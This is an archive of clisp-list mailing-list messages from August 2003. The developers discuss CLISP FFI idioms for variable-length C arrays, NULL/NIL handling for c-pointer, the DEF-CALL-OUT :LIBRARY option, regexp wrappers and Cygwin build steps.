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Hi,

>what is the correct idiom for the C "unknown type array"?
>E.g., suppose
>        int* foo();
>will return the array of integers of size N, where N is the return
>value of another function
>        int foo_size();
>how do I express foo() and foo_size() in CLISP FFI?

>Suppose
>        int foo (int *size, int**arr);
>returns status and puts the length of the array into `size' and the
>pointer of the array into `arr'.
>what is the correct CLISP FFI idiom?

The latter case would have been covered by my (yet to be written) DEF-VARIABLE-CALL-OUT macro, which encapsulates this common scenario. I never found he time to implement that except for some notes one night I couldn't sleep.
Basically it's like in Haskell'FFI a size indication that's conveyed from one argument to another or to the return value.

Explicit management using WITH-FOREIGN-OBJECT and friends is involved. Maybe lookup all articles of mine on variable length arrays in clisp-list.

A longer answer may follow tomorrow, I need to go home now.

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	Jorg.


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE05F4B7D3@G8PQD.blf01.telekom.de>
> * On the subject of "AW: FFI crash: what am I missing?!"
> * Sent on Mon, 4 Aug 2003 18:11:20 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> >what is the correct idiom for the C "unknown type array"?
> >E.g., suppose
> >        int* foo();
> >will return the array of integers of size N, where N is the return
> >value of another function
> >        int foo_size();
> >how do I express foo() and foo_size() in CLISP FFI?
>
> >Suppose
> >        int foo (int *size, int**arr);
> >returns status and puts the length of the array into `size' and the
> >pointer of the array into `arr'.
> >what is the correct CLISP FFI idiom?
>
> The latter case would have been covered by my (yet to be written)
> DEF-VARIABLE-CALL-OUT macro, which encapsulates this common
> scenario. I never found he time to implement that except for some
> notes one night I couldn't sleep.
> Basically it's like in Haskell'FFI a size indication that's conveyed
> from one argument to another or to the return value.

what if, as in the first example, the size is returned by a _different_
function?!

> Explicit management using WITH-FOREIGN-OBJECT and friends is
> involved.

any cast requires equal memory size.

        (with-foreign-object
             (ret `(c-array int ,(foo_size node))
                  (foo node))
           (print ret))

does not work.

c-array-max doesn't work because it expects to find a zero termination
and finds garbage instead.
is a C wrapper the only solution?

> A longer answer may follow tomorrow, I need to go home now.
biting my nails off :-)

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X-Original-Date: 04 Aug 2003 15:37:56 -0400

Consider the following workaround:

void* null_terminate (void *garbage, void *data, int size, int num_el) {
  static char buf[BUFSIZ];
  if (size*num_el>BUFSIZ) abort();
  memset(buf,0,BUFSIZ*sizeof(char));
  memcpy(buf,data,size*num_el);
  return buf;
}

(def-call-out null_terminate_float
  (:arguments (prob-vec c-pointer) (size int) (num int))
  (:return-type (c-array-max float #.MAX_STATE))
  (:name "null_terminate"))

prob-vec comes from a function returning an array of floats.
(GetNodeBeliefs_bn).
call it like this:

(setq b (netica::GetNodeBeliefs_bn *tuberculosis*))
(setq n (netica::GetNodeNumberStates_bn *tuberculosis*))
(setq s (ffi:sizeof 'float))
(setq r (netica::null_terminate_float b s n))

b=#<FOREIGN-ADDRESS #x011AA458>
n=2
s=4

in null_terminate:
(garbage=0x22b19c, data=0x11aa458, size=4, num_el=2)

 *** where does garbage=0x22b19c come from ???!!!

the return vector buf happens to be 0-filled.
on converting the first return vector element to a single-float, I get

*** - floating point underflow

something is terribly wrong...
  
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On  3 Aug 2003, Sam Steingold <- sds@gnu.org wrote:

>> * Honorable sigurd@12move.de (Karl Pfl=E4sterer) writes:

>> | /* CL_READLINE */
>> | /* Define if you have a recent readline (4+). */
>> | #define HAVE_READLINE 1

> so you do have a working readline.

Right. As I wrote other programs (like guile, python or the bash use it
also).

>> | configure:23430: gcc -o conftest.exe -g -O2   conftest.c -lncurses  >&5
>> | /c/WINDOWS/TEMP/ccKd7JgM.o(.text+0x16): In function `main':
>> | /tmp/clisp/configure:23599: undefined reference to `_readline'
>> | collect2: ld returned 1 exit status

> look below - you will see success with -lreadline.

Right.

> this usually means that CLISP thinks that it is not on a console.
> see make_terminal_stream_() in src/tream.d.

I must study that.

> (./configure --with-debug --build build-g)
> you will probably discover that same_tty is false.

I will compile it again like that tommorrow.

> why?
> are you running on a cygwin xterm/rxvt?

Yes (in rxvt).  But I tried it also in a plain windows command.com.  The
same result.

I will search further at least it works for most other people.

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 > 1. Would people object if -C (*load-compiling*) were set (to true) by =
 > default?
 > 2. What about the default value of *print-pretty*?

I'd much prefer *print-pretty* to have NIL as default value.
Many bugs have been caused by the value defaulting to T.
Probably by now all of my code that cares sets it to NIL but
I imagine other people moving code from other implementations 
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Sam,

Your attempt IMHO is a misleaded attempt at interfacing, so I'll not comment it further.

For a solution to your interfacing problem, see my todays article "Re: FFI crash: what am I missing?!"

>the return vector buf happens to be 0-filled.
>on converting the first return vector element to a single-float, I get
>*** - floating point underflow

Really? Here I obtain
[55]> (with-c-var (x 'uint32 0) (cast x 'ffi:single-float))
0.0
[58]> (with-c-var (x 'uint64 0) (cast x 'ffi:double-float))
0.0d0

But I don't know what the (IEEE) floating-point representation of 0.0 is (i.e. whether it's all zero-bits, or if the mantissa must be something like #b10000000.
That means I don't know whether the above cast can be expected to work -- at least on machines where
(= (bitsizeof 'single-float) (bitsizeof 'uint32))
which CLISP checks inside the FFI:CAST operator.
or whether it can produce a FP-underflow, depending on FP settings.

Regards,
	Jorg Hohle.


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Hi,

Sam wrote:
>> >what is the correct idiom for the C "unknown type array"?
>> >E.g., suppose
>> >        int* foo();
>> >will return the array of integers of size N, where N is the return
>> >value of another function
>> >        int foo_size();
>> >how do I express foo() and foo_size() in CLISP FFI?

>> >Suppose
>> >        int foo (int *size, int**arr);
>> >returns status and puts the length of the array into `size' and the
>> >pointer of the array into `arr'.
>> >what is the correct CLISP FFI idiom?
See answers below

>what if, as in the first example, the size is returned by a _different_
>function?!
That's why I said "the latter case" fits my (unwritten) macro. The former does not fit the one declaration per function" model, since the "transaction" (I name is so) is distributed across two calls.

>> Explicit management using WITH-FOREIGN-OBJECT and friends is
>> involved.

>any cast requires equal memory size.
I wrote in the past on the OFFSET solution.
It looks like you have forgot about my article "FFI howto: variable length arrays (long)" from 5th of March 2003.
http://sourceforge.net/mailarchive/forum.php?thread_id=1784502&forum_id=6767
http://sourceforge.net/mailarchive/forum.php?thread_id=1788500&forum_id=6767


>is a C wrapper the only solution?
Not at all. Sometimes I recommend C wrappers to create an interface that better suits Lisp, but it is not strictly necessary. You can use the FFI to call any function and retrieve its results, writing Lisp code (be it less efficient because of run-time parsing (FFI:parse-c-type) and conversions (ffi:cast)).
But see my below comment on the regexp case.

>> A longer answer may follow tomorrow, I need to go home now.
>biting my nails off :-)
I hope you can still type in the following:


			The first foo
You didn't say whether foo_size() has to be called before or after foo(). I'll call it afterwards, for similarity with the regexp module, where the number of the group positions can be read off a slot of the structure.

BTW, the current CLISP regexp module arbitrarily limits the return to 10 group positions ("num-matches"), because it does not consider the re_nsub slot out off the regex_t structure.

This is a case where I'd recommend a little C wrapper code to make interfacing easier. I very much prefer this over duplicating the regex_t structure in Lisp via (FFI:C-STRUCT <many slots>). I don't want to have to maintain this by hand, whereas the C wrapper would always stay in sync with the C regex.h header by mere recompilation.

(def-call-out %foo1 (:name "foo")
  (:return-type c-pointer) (:language :stdc))
(defun foo1 ()
  (let ((ptr (%foo1)))
    (when ptr ;; c-pointer type will return NIL for NULL in the near future
      (with-c-var (array 'c-pointer ptr)
        (cast array `(c-ptr (c-array sint ,(foo-size))))))))


			The second foo
I take it that foo2 allocates the buffer it returns via arr . Who must free it?
Also you don't say whether it's :in-out or :out, so I take :out only.
However it's common for the buffer to be supplied by the caller, with a maximum size provided by the size argument as an :in-out parameter.
The C declaration you supply doesn't tell the difference, and the below code covers the other case.

Here's what the macro call might like
(def-call-var-out foo2 (:name "foo")
  (:arguments (size (c-ptr uint) :out)
              (arr (c-ptr (c-ptr (c-array sint size))) :out [:malloc-free]))
  (:guard (zerop return))
  (:return-type int) (:language :stdc))

BTW, I recommend using unsigned types even though C people usually just use "int" (new-wave C people say "size_t"). E.g. size obviously should be unsigned.

Here's what you do without the charming macro:
(def-call-out %foo2 (:name "foo")
  (:arguments (size (c-ptr uint) :out)
              (arr (c-ptr c-pointer) :out))
  (:return-type int) (:language :stdc))

(defun foo2 ()
  (multiple-value-bind (status size array-ptr)
      (%foo2)
    (if (zerop status)
      (with-c-var (arr 'c-pointer array-ptr)
        (cast arr `(c-ptr (c-array sint ,size))))
      ;; the macro would return (values status [size array])
      (error "Call failed with status ~D" status))))


This costs a PARSE-C-TYPE for every call for both foo1 and foo2.

My MEM-READ proposal could avoid that in some cases, depending on the type (so far only built-in-arrays of CLISP, i.e. uint8/16/32, but not sint8/16/32 are supported).
(defun foo2 ()
  (multiple-value-bind (status size array-ptr)
      (%foo2)
    (if (zerop status)
        (let ((vec (make-array size :element-type '(unsigned-byte 32))))
          (mem-read array-ptr vec))
      (error "Call failed with status ~D" status))))
(defun foo1 ()
  (let ((ptr (%foo1)))
    (when ptr ;; c-pointer type will return NIL for NULL in the near future
      (let ((vec (make-array (foo-size) :element-type '(unsigned-byte 32))))
        (mem-read ptr vec)))))

My FOREIGN-VARIABLE constructor (design not yet finished) would allow to avoid WITH-C-VAR, but would still require PARSE-C-TYPE at run-time, allowing code similar to:
(defun foo1 ()
  (let ((ptr (%foo1)))
    (when ptr ;; c-pointer type will return NIL for NULL in the near future
      (foreign-value
       (foreign-address-variable ptr `(C-ARRAY SINT ,(foo-size)))))))
or maybe I'll require an explicit call
       (foreign-address-variable ptr
        (parse-c-type `(C-ARRAY SINT ,(foo-size))))
It's a constructor after all, not a macro-level keep-typing-short sort of thing.

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	Jorg Hohle.


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Hi FFI users,

>> Or allowing NIL for c-pointer (and return NIL for c-pointer 
>as NULL!),
>> as I said would be ok in last week's e-mail.
>Unless Bruno objects, I will make NIL a valid value for c-pointer and
>interpret it as a NULL pointer, and convert NULL to NIL on return.
>objections?

I believe users should be told the reasons instead of just asking for hypothetical objections.

A NULL<->NIL conversion when using C-POINTER acknowledges the fact that NULL *always* has a special meaning for a pointer type. So we consider it better (speaking of types) to return a "bottom" object of a different type (->NIL) than a foreign-pointer that would, a priori, allow dereferencing, causing a core dump.

The immediate advantage to users is that whenever a function requires a C-POINTER, it may often be NULL, in which case NIL will be accepted by CLISP, while in the past, something like (unsigned-foreign-address 0) or something similar had to be written.

The NIL->NULL change is compatible (unless you counted on your application to raise a type error). The NULL->NIL is not.

CLISP already supports NULL<->NIL for the following types: C-FUNCTION and C-ARRAY-PTR. I think we should clearly say so in the impnotes.

That does not mean that foreign-objects never point to 0 anymore. In fact,
(unsigned-foreign-address 0) still returns
#<FOREIGN-ADDRESS #x00000000>, not NIL.
Sorry, I hope this detail will not confuse you
 -- I sometimes believe I should say less.

Regards,
	Jorg Hohle.


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DEF-CALL-OUT supports a :LIBRARY option which accepts a dll:

(def-call-out command-line
    (:name "GetCommandLineA") (:library "kernel32.dll")
    (:arguments) (:return-type ffi:c-string) (:language :stdc))
(print (command-line))
"d:/gnu/clisp/current/build-g-mingw/base/lisp.exe -B d:/gnu/clisp/current/build-g-mingw -M d:/gnu/clisp/current/build-g-mingw/base/lispinit.mem -N d:/gnu/clisp/current/build-g-mingw/locale -q -norc"

please try this on unix and win32 and report your experience.

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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE05F4B905@G8PQD.blf01.telekom.de>
> * On the subject of "Re: c-pointer: NULL == NIL polymorphism"
> * Sent on Tue, 5 Aug 2003 11:10:44 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> >> Or allowing NIL for c-pointer (and return NIL for c-pointer 
> >as NULL!),
> >> as I said would be ok in last week's e-mail.
> >Unless Bruno objects, I will make NIL a valid value for c-pointer and
> >interpret it as a NULL pointer, and convert NULL to NIL on return.
> >objections?
> 
> I believe users should be told the reasons instead of just asking for
> hypothetical objections.
good point.

> A NULL<->NIL conversion when using C-POINTER acknowledges the fact
> that NULL *always* has a special meaning for a pointer type.

Actually, IIUC, C does not know the difference between an array and a
pointer (as a function argument), so I don't really see why C-PTR and
C-ARRAY do not accept NULL (=NIL) and thus make C-PTR-NULL and
C-ARRAY-PTR necessary.

> That does not mean that foreign-objects never point to 0 anymore. In fact,
> (unsigned-foreign-address 0) still returns
> #<FOREIGN-ADDRESS #x00000000>, not NIL.

Actually, it might be a good idea to go for consistency and make
(unsigned-foreign-address 0) return NIL.


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Sam wrote:

>Actually, IIUC, C does not know the difference between an array and a
>pointer (as a function argument), 
that's IMHO a common misconception.
>  so I don't really see why C-PTR and
>C-ARRAY do not accept NULL (=NIL) and thus make C-PTR-NULL and
>C-ARRAY-PTR necessary.
Think about c-ptr :out. Where's the argument?

The current FFI types  are carefully chosen so that SIZEOF is a total operation on them. SIZEOF obviously cannot work on variable sized arrays.

>Actually, it might be a good idea to go for consistency and make
>(unsigned-foreign-address 0) return NIL.
Are you boycotting my work or what? I wrote (in clisp-devel) why I consider *not* retuning NIL in that case consistent.
A #<foreign-address 00000000> is also consistent with the update foreign-pointer API I talked about some month ago. Adding NIL special cases is superfluous there. Let NIL live in the context of C-POINTER (and C-FUNCTION, C-ARRAY-PTR). There's still a place for #<foreign-address 0000000> when dealing with addresses.


I agree that users may not be too happy with the CLISP FFI because it hinders common patterns. That should not make them forget that it's one of the most expressive (or at least, precise) ones -- if that doesn't seem like a contradiction to you.


One key point to realize is: CLISP's FFI is able to work on as low a level as e.g. Allegro's, Lucid's, UFFI's etc. You just use C-POINTER almost everywhere and forget about :out, :in-out, , C-PTR etc. and all this declarative comfort stuff.
Just program as if you were using C. That's how I proceed every time when CLISP's high-level FFI doesn't match the interface requirements, e.g. with variable sized arrays (cf. today's sample code).

My (unwritten) DEF-LIB-VAR-CALL macro could help with variable-sized arrays in some situations, but it still fails to cover your "array size is indicated by another function" example.

But that's what I've experienced for every abstraction: it catches some situations/scenarios and fails to cover others. Lucky when it works.

Maybe instead of a macro, I should write a pattern/HOWTO instead. I've published instances of the macro expansion several times now, right here.

Actually, one may claim that it's the CLISP FFI's precision which hinders typical C usage. Because e.g. C declarations don't make a difference between C-PTR and C-PTR-NULL etc. and one has to read each individual manpage to know where NULL is allowed and where not.
E.g. char** provides for two pointer locations, both can be NULL, depending on the particular function. CLISP's FFI doesn't catch this well enough.

A conclusion could be: CLISP's FFI is not particularly well-suited for C style declarations. It's much better suited for COM/IDL kind of interface descriptions. Those are far more precise. Furthermore, interfaces across networks tend to be much more regular (:out is out, not "half in maybe out" as in the ** example).
Once again, I recommend reading
http://research.microsoft.com/Users/simonpj/Papers/papers.html
H/Direct: A Binary Foreign Language Interface for Haskell

I recommend learning about distributed programming, even if writing non-distributed applications. It's like when people say knowing about Lisp makes you a better C/Java/xyz programmer. Open you horizon, said some of the old greek (but that was heavily debated back then).

For one year and a half, I've tried to explain people how to use and put something (the FFI) to its full potential which I have not even designed nor written. I designed the AFFI.
My aproach since then has been to evolutionary bring the CLISP FFI close to the dynamics requirements I experienced using the AFFI and what I felt would be useful extensions (hence WITH-FOREIGN-OBJECT, dynamic library patch etc.), not to throw it away and replace the FFI by e.g. CMUCL's (whose syntax I prefer), revolutionarily.

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	Jorg Hohle.


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE05F4B8F7@G8PQD.blf01.telekom.de>
> * On the subject of "FFI: variable size values (was FFI crash: what am I missing?!)"
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>   (:return-type c-pointer) (:language :stdc))
> (defun foo1 ()
>   (let ((ptr (%foo1)))
>     (when ptr ;; c-pointer type will return NIL for NULL in the near future
>       (with-c-var (array 'c-pointer ptr)
>         (cast array `(c-ptr (c-array sint ,(foo-size))))))))

my problem was two-fold:

1. I was calling "foo" incorrectly (before the right things were
   initialized)

2. I did not realize that CAST does not work with WITH-FOREIGN-OBJECT
   but needs a WITH-C-VAR.

thanks a lot!
the demo now works...
got to get to the real stuff...

> I take it that foo2 allocates the buffer it returns via arr . Who must
> free it?

whoever creates the data, frees it. this is what netica API does.
IMNSHO everything else is _WRONG_.  (who invented putenv()?!)

> Also you don't say whether it's :in-out or :out, so I take :out only.
correct.

> However it's common for the buffer to be supplied by the caller, with
> a maximum size provided by the size argument as an :in-out parameter.

this would be nice to have too - other functions display this behavior.
(your "compress" text helps!)

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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE05F4B8AD@G8PQD.blf01.telekom.de>
> * On the subject of "FFI: variable size values"
> * Sent on Tue, 5 Aug 2003 09:27:14 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Your attempt IMHO is a misleaded attempt at interfacing, so I'll not
> comment it further.

Jorg, __PLEASE__ do explain to me why I have to use the "garbage"
variable!!!

void* null_terminate (void *garbage, void *data, int size, int num_el) {
  static char buf[BUFSIZ];
  if (size*num_el>BUFSIZ) abort();
  memset(buf,0,BUFSIZ*sizeof(char));
  memcpy(buf,data,size*num_el);
  return buf;
}

(def-call-out null_terminate_float
  (:arguments (prob-vec c-pointer) (size int) (num int))
  (:return-type (c-array-max float #.MAX_STATE))
  (:name "null_terminate"))

why do I see "prob-vec" in "data" not in "garbage"??!!

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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE05F4B8F7@G8PQD.blf01.telekom.de>
> * On the subject of "FFI: variable size values (was FFI crash: what am I missing?!)"
> * Sent on Tue, 5 Aug 2003 10:50:27 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> You didn't say whether foo_size() has to be called before or after
> foo(). I'll call it afterwards, for similarity with the regexp module,
> where the number of the group positions can be read off a slot of the
> structure.
> 
> BTW, the current CLISP regexp module arbitrarily limits the return to
> 10 group positions ("num-matches"), because it does not consider the
> re_nsub slot out off the regex_t structure.
> 
> This is a case where I'd recommend a little C wrapper code to make
> interfacing easier. I very much prefer this over duplicating the
> regex_t structure in Lisp via (FFI:C-STRUCT <many slots>). I don't
> want to have to maintain this by hand, whereas the C wrapper would
> always stay in sync with the C regex.h header by mere recompilation.

interesting.
so this wrapper will allocate the array of regmatch_t structs of the
necessary size and return a pointer to it.
who and when will release it?

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Hi,

>> BTW, the current CLISP regexp module arbitrarily limits the return to
>> 10 group positions ("num-matches"), because it does not consider the
>> re_nsub slot out off the regex_t structure.
>> 
>> This is a case where I'd recommend a little C wrapper code to make
>> interfacing easier. I very much prefer this over duplicating the
>> regex_t structure in Lisp via (FFI:C-STRUCT <many slots>). I don't
>> want to have to maintain this by hand, whereas the C wrapper would
>> always stay in sync with the C regex.h header by mere recompilation.
>
>interesting.
>so this wrapper will allocate the array of regmatch_t structs of the
>necessary size and return a pointer to it.
>who and when will release it?
Who and when to release stuff is to be defined.
It could be the :malloc-free protocol.
It could be the caller who allocates and frees.

But that's not what I had in mind. Just a really tiny wrapper.
LISPFUNN(regex_nsub,1)
{ var object obj = popSTACK();
  check_foreign_pointer(obj);
  var void* re = TheFpointer(obj);
  VALUES1(ULtoI(((regex_t*)re)->re_nsub));
} -- as part of an external module
or
size_t re_nsubs(struct regex_t *preg) { return re->re_nsub;
} -- requiring FFI to interface
and do the rest in Lisp.

Your approach is quite feasible as well. Indeed, I've always been in favour of thicker interfaces, which better match Lisp.

In this case, the wrapper could be around regexec, allocate regmatch_t[re->re_nsub] and return a Lisp array directly.
If I were to interface to regexp with the module interface rather than with the FFI (or an FFI module), that's what I'd do.

Once you know how to pushSTACK() etc. the CLISP stack machine, writing such interfaces is trivial to do -- Dan could comment on this. It may take more time than writing Lisp FFI code, but it works on all machines (FFI/ffcall has not been ported to all machines that CLISP runs on) and exhibits better performance than any FFI conversion and manipulation overhead.

Regards,
	Jorg.
  


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I wonder if SWIG could be modified to generate these wrappers.  It can handle Scheme now,
so maybe it wouldn't take much work.

"Hoehle, Joerg-Cyril" wrote:

> Hi,
>
> >> BTW, the current CLISP regexp module arbitrarily limits the return to
> >> 10 group positions ("num-matches"), because it does not consider the
> >> re_nsub slot out off the regex_t structure.
> >>
> >> This is a case where I'd recommend a little C wrapper code to make
> >> interfacing easier. I very much prefer this over duplicating the
> >> regex_t structure in Lisp via (FFI:C-STRUCT <many slots>). I don't
> >> want to have to maintain this by hand, whereas the C wrapper would
> >> always stay in sync with the C regex.h header by mere recompilation.
> >
> >interesting.
> >so this wrapper will allocate the array of regmatch_t structs of the
> >necessary size and return a pointer to it.
> >who and when will release it?
> Who and when to release stuff is to be defined.
> It could be the :malloc-free protocol.
> It could be the caller who allocates and frees.
>
> But that's not what I had in mind. Just a really tiny wrapper.
> LISPFUNN(regex_nsub,1)
> { var object obj = popSTACK();
>   check_foreign_pointer(obj);
>   var void* re = TheFpointer(obj);
>   VALUES1(ULtoI(((regex_t*)re)->re_nsub));
> } -- as part of an external module
> or
> size_t re_nsubs(struct regex_t *preg) { return re->re_nsub;
> } -- requiring FFI to interface
> and do the rest in Lisp.
>
> Your approach is quite feasible as well. Indeed, I've always been in favour of thicker interfaces, which better match Lisp.
>
> In this case, the wrapper could be around regexec, allocate regmatch_t[re->re_nsub] and return a Lisp array directly.
> If I were to interface to regexp with the module interface rather than with the FFI (or an FFI module), that's what I'd do.
>
> Once you know how to pushSTACK() etc. the CLISP stack machine, writing such interfaces is trivial to do -- Dan could comment on this. It may take more time than writing Lisp FFI code, but it works on all machines (FFI/ffcall has not been ported to all machines that CLISP runs on) and exhibits better performance than any FFI conversion and manipulation overhead.
>
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>         Jorg.
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> * In message <20030805234844.54839.qmail@mail.archub.org>
> * On the subject of "Fwd: Using Clisp in Windows with XEmacs"
> * Sent on 5 Aug 2003 23:48:44 -0000
> * Honorable Paul Graham <pg@archub.org> writes:
>
> --Cory Brownfield wrote:
> > Return-Path: <cory2003@starband.net>
> > 
> > problems with Clisp, Xemacs, and Ilisp, but I don't like the idea of
> > crippled software that isn't opensource.  I know you use Clisp, but
> > it isn't cooperating well with Xemacs and Ilisp (at least for me).
> > Is there an easy way to set up a lisp environment in Windows

I use CLISP with GNU Emacs and the built-in "inferior lisp" mode.
see <http://cl-cookbook.sourceforge.net/windows.html> for more
information.

> > I've read all the manuals and information I could find, but when
> > Clisp tries to load as an inferior lisp process, it crashes.  Clisp
> > complains about several files it can't find (related to Ilisp), and
> > I think it has something to do with the Windows back-slashes in the
> > path names.

CLISP does not crash because it cannot find something.
You are probably calling the runtime (lisp.exe) without the memory
image (lispinit.mem).
`inferior-lisp-program' should be something like
"d:/gnu/clisp/lisp.exe -B d:/gnu/clisp -M d:/gnu/clisp/lispinit.mem -I"

> > I've not found any medium-sized program sources that do things like
> > file I/O, etc.  Most of what I find is small tutorial stuff with
> > contrived example code.

CL cookbook above is a good source.

please read <http://clisp.cons.org/faq.html#help> for information on
how to get help.


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OK, I removed this arbitrary num-matches limit.
I wonder if we _should_ discard the FFI in regexp altogether for
performance reasons...

there are just 4 functions in the API (and all of them now have C
wrappers!!), so this is not a big deal (as opposed to, say, hundreds of
functions in linux.lisp), and this is a big performance issue (as those
who use regexp are likely to call the regexec function a lot of times)

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Sam wrote:

>Jorg, __PLEASE__ do explain to me why I have to use the "garbage"
>variable!!!
Oops, I didn't realize that this was a "is this something for a bug report" sort of query and not a "how do I FFI"?

>(def-call-out null_terminate_float
>  (:arguments (prob-vec c-pointer) (size int) (num int))
>  (:return-type (c-array-max float #.MAX_STATE))
>  (:name "null_terminate"))
>why do I see "prob-vec" in "data" not in "garbage"??!!

The C-ARRAY-MAX return-type (not a pointer to such an array) may be the cause. For some compilers or rather calling conventions, when passing structs or for some return types, the caller must supply an extra pointer which will be used to fill the results.

That could well explain what you observe.

You should either use (c-ptr (c-array[-max])), c-array-ptr or c-pointer (and with-c-var etc. for dynamic arrays) for :return-type.

Passing structs or arrays without an intervening pointer is never a good idea in C.

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Sam asked,

>I wonder if we _should_ discard the FFI in regexp altogether for
>performance reasons...
Go for it!
But how are you going to deal with the 3 different character-width string arrays in CLISP with unicode?

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On Friday, Aug 1, 2003, at 08:25 US/Eastern, Hoehle, Joerg-Cyril wrote:

> 1. Would people object if -C (*load-compiling*) were set (to true) by 
> default?

YES!
ARG!


> - step is much less useful with compiled functions

How would I turn it off? Would -C on the command line mean not to do 
that?

What's worse (in the 2.30 version I tested, maybe this is fixed in 
latest CVS head??)

% cat lose.lisp
(let ((x 0))
         (defun worker () (incf x))
         (defun sample()
                 (worker)
                 x))

% clisp -C -i lose.lisp
...
;; Loading file lose.lisp ...
WARNING in SAMPLE :
Function WORKER is not defined
;; Loaded file lose.lisp
[1]>

So, if I cannot use closures "at the top level" without getting 
gratuituous and annoying messages with -C then -C should not be the 
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And it would be so nice if it really did "the right thing"... in which 
case I would support it.
<D\'gou



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Here is the steps to follow:
You need to download the XFree86 package from cygwin that contains the
include
files,
when you download XFree86, its called XFree86-prog.
When thats installed, make sure the xserver starts with startx.

Then download the clisp-2.30.tar.bz2, which contains the source, and
untar it.
in a cygwin window configure it:
 ./configure --with-module=clx/new-clx test1
follow the makemake instructions.
The build will fail, so go to clx/new-clx, and delete e2d.exe, rebuild
it using the
-g option,
and cd back up and run make again.
That builds clisp, and the executable is also in the package
local.tar.bz2 I sent
CY.
Make sure the new-clx demo programs run.

For garnet, get the garnetx package I sent CY, and untar it,
modify garnet-loader for your paths, execute
(load 'garnet-prepare-compile)
(load 'garnet-loader)
in the running clisp, with X running.
You will have to continue past some locked modules.
Thats it.
Dan



Matt Kaufman wrote:

> Thanks, I'll take a shot at sleeping.
>
> Well, I downloaded the package of Clisp that said it was for Cygwin, and
> that did not seem to have a new-clx package.  Should I download a different
> package?  I tried getting new-clx from the web, but I had trouble finding
> it and I'm not confident I got all the pieces or put them in the right
> spots.  So I guess my questions are, which clisp package should I get, do I
> need any further files (and where would I put them), and then what build
> options should I run on which programs?
>
> I'm sorry for my general cluelessness, I'm rather new to Unix, very new to
> Linux, and completely inexperienced with both Cygwin and Clisp.  Heck, I
> haven't even been using LISP that long, but I got a new job :).
>
> Thanks again for your help.
> -Matt
>
> At 09:36 PM 7/24/2003 -0400, you wrote:
> >Perhaps you should get some sleep;)
> >What seems to be your problem?
> >Were you able to build clisp with new-clx on cygwin and run the test programs?
> >
> >I started with that, the problems were that e2d was broken, so it needs to be
> >compiled with -O,
> >not -O2.
> >Then there are some clisp related problems in garnet, but they have to do with
> >paths, extensions
> >and function coercion.
> >I sent my code to CY, so you can get it from him, he has a fast connection, I
> >have a dial up.
> >Dan
> >Matt Kaufman wrote:
> >
> > > Hi Dan-
> > >
> > > I noticed your post yesterday that you got new-clx running on Win2k with
> > > Cygwin and CLISP 2.30. That is exactly what I've been trying to do for the
> > > last 36 hours, more or less continuously.  I would be thrilled beyond
> > > belief if you would kindly tell me how you did it.  I will be leaving my
> > > high-bandwidth connection after tomorrow, so if you could possibly email me
> > > before then I would be greatly indebted.
> > >
> > > Thanks so much,
> > > Matt Kaufman


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--- Dan Stanger <dan.stanger@ieee.org> wrote:

> That builds clisp, and the executable is also in the package
> local.tar.bz2 I sent CY.

http://prdownloads.sourceforge.net/garnetlisp/local.tar.bz2?download

> For garnet, get the garnetx package I sent CY

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> * In message <ECFA0046-C857-11D7-B282-000393030214@mac.com>
> * On the subject of "Re: default settings of *load-compiling* and *print-pretty* (naive be nchmarks)"
> * Sent on Wed, 6 Aug 2003 17:49:59 -0400
> * Honorable Douglas Philips <dgou@mac.com> writes:
>
> On Friday, Aug 1, 2003, at 08:25 US/Eastern, Hoehle, Joerg-Cyril wrote:
> 
> How would I turn it off? Would -C on the command line mean not to do
> that?

actually, if you set *load-compiling* to T and save the image, you will
get the behavior Jorg proposed, so the issue is relevant regardless of
whether the proposal passes.

I guess we need -noC (or -!C) to revert the effects of -C, so that

$ clisp -C -i foo.lisp -x (saveinitmem)
$ clisp -M lispinit.mem -noC -i bar.lisp

will load bar.lisp without compiling (now it will compile it).

> What's worse (in the 2.30 version I tested, maybe this is fixed in
> latest CVS head??)

indeed, this has been fixed in the CVS head.

> % cat lose.lisp
> (let ((x 0))
>          (defun worker () (incf x))
>          (defun sample()
>                  (worker)
>                  x))
> 
> % clisp -C -i lose.lisp
> ...
> ;; Loading file lose.lisp ...
> WARNING in SAMPLE :
> Function WORKER is not defined
> ;; Loaded file lose.lisp
> [1]>
> 
> So, if I cannot use closures "at the top level" without getting
> gratuituous and annoying messages with -C then -C should not be the
> default.
> 
> And it would be so nice if it really did "the right thing"... in which
> case I would support it.

please try CVS head.
(you will probably want to read the 200+ lined of src/NEWS)
<http://cvs2.cons.org/ftp-area/clisp/snapshots/NEWS>

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Date: Thu Aug  7 15:12:02 2003
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Sam Steingold writes:
 > DEF-CALL-OUT supports a :LIBRARY option which accepts a dll:
 > 
 > (def-call-out command-line
 >     (:name "GetCommandLineA") (:library "kernel32.dll")
 >     (:arguments) (:return-type ffi:c-string) (:language :stdc))
 > (print (command-line))
 > "d:/gnu/clisp/current/build-g-mingw/base/lisp.exe -B d:/gnu/clisp/current/build-g-mingw -M d:/gnu/clisp/current/build-g-mingw/base/lispinit.mem -N d:/gnu/clisp/current/build-g-mingw/locale -q -norc"
 > 
 > please try this on unix and win32 and report your experience.

I had some problem compiling "old style", static modules using CVS
HEAD. It seems that the compiler no longer generates function
prototypes in output C files for foreign fuctions defined with
DEF-CALL-OUT without the :LIBRARY keyword. For example, I had a lot of
messages like the following:

linux.c: In function `module__linux__init_function_2':
linux.c:25: `signgam' undeclared (first use in this function)
linux.c:25: (Each undeclared identifier is reported only once
linux.c:25: for each function it appears in.)
linux.c:26: `environ' undeclared (first use in this function)
linux.c:27: `opterr' undeclared (first use in this function)
linux.c:28: `optind' undeclared (first use in this function)
linux.c:29: `optopt' undeclared (first use in this function)
linux.c:30: `optarg' undeclared (first use in this function)

trying to complile Linux bindings module.

Apart from this problem, the :LIBRARY keyword seems to work very well
under Linux. It is incredible how fast and easy it has become to
interact with external libraries!

There is a problem using the :LIBRARY keyword with DEF-C-VAR: it does
not accept it:

[16]> (def-c-var external-variable
    (:name "external_variable")
